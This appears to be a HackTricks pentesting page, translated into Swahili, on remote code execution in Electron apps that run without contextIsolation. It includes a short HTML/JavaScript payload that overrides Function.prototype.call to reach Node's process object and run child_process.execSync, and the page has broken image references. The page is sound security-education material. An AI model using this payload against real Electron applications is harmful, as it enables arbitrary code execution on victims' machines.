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60 lines
2.0 KiB
Markdown
60 lines
2.0 KiB
Markdown
# Electron contextIsolation RCE kupitia msimbo wa ndani wa Electron
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{{#include ../../../banners/hacktricks-training.md}}
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## Mfano 1
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Mfano kutoka [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
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"exit" msikilizaji wa tukio daima huwekwa na msimbo wa ndani wakati upakiaji wa ukurasa umeanza. Tukio hili linatolewa kabla ya urambazaji:
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```javascript
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process.on("exit", function () {
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for (let p in cachedArchives) {
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if (!hasProp.call(cachedArchives, p)) continue
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cachedArchives[p].destroy()
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}
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})
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```
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{{#ref}}
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https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
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{{#endref}}
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.png>)
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https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Haipo tena
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Kisha inaenda hapa:
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.png>)
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Ambapo "self" ni kitu cha mchakato wa Node:
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.png>)
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Kitu cha mchakato kina rejeleo kwa kazi ya "require":
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```
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process.mainModule.require
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```
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Kama handler.call itapokea kituo cha mchakato tunaweza kukibadilisha ili kutekeleza msimbo wowote:
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```html
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<script>
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Function.prototype.call = function (process) {
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process.mainModule.require("child_process").execSync("calc")
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}
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location.reload() //Trigger the "exit" event
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</script>
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```
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## Mfano 2
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Pata **kipengele cha require kutoka kwa uchafuzi wa prototype**. Kutoka [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
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Kuvuja:
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<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
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Kuvunja:
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<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>
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{{#include ../../../banners/hacktricks-training.md}}
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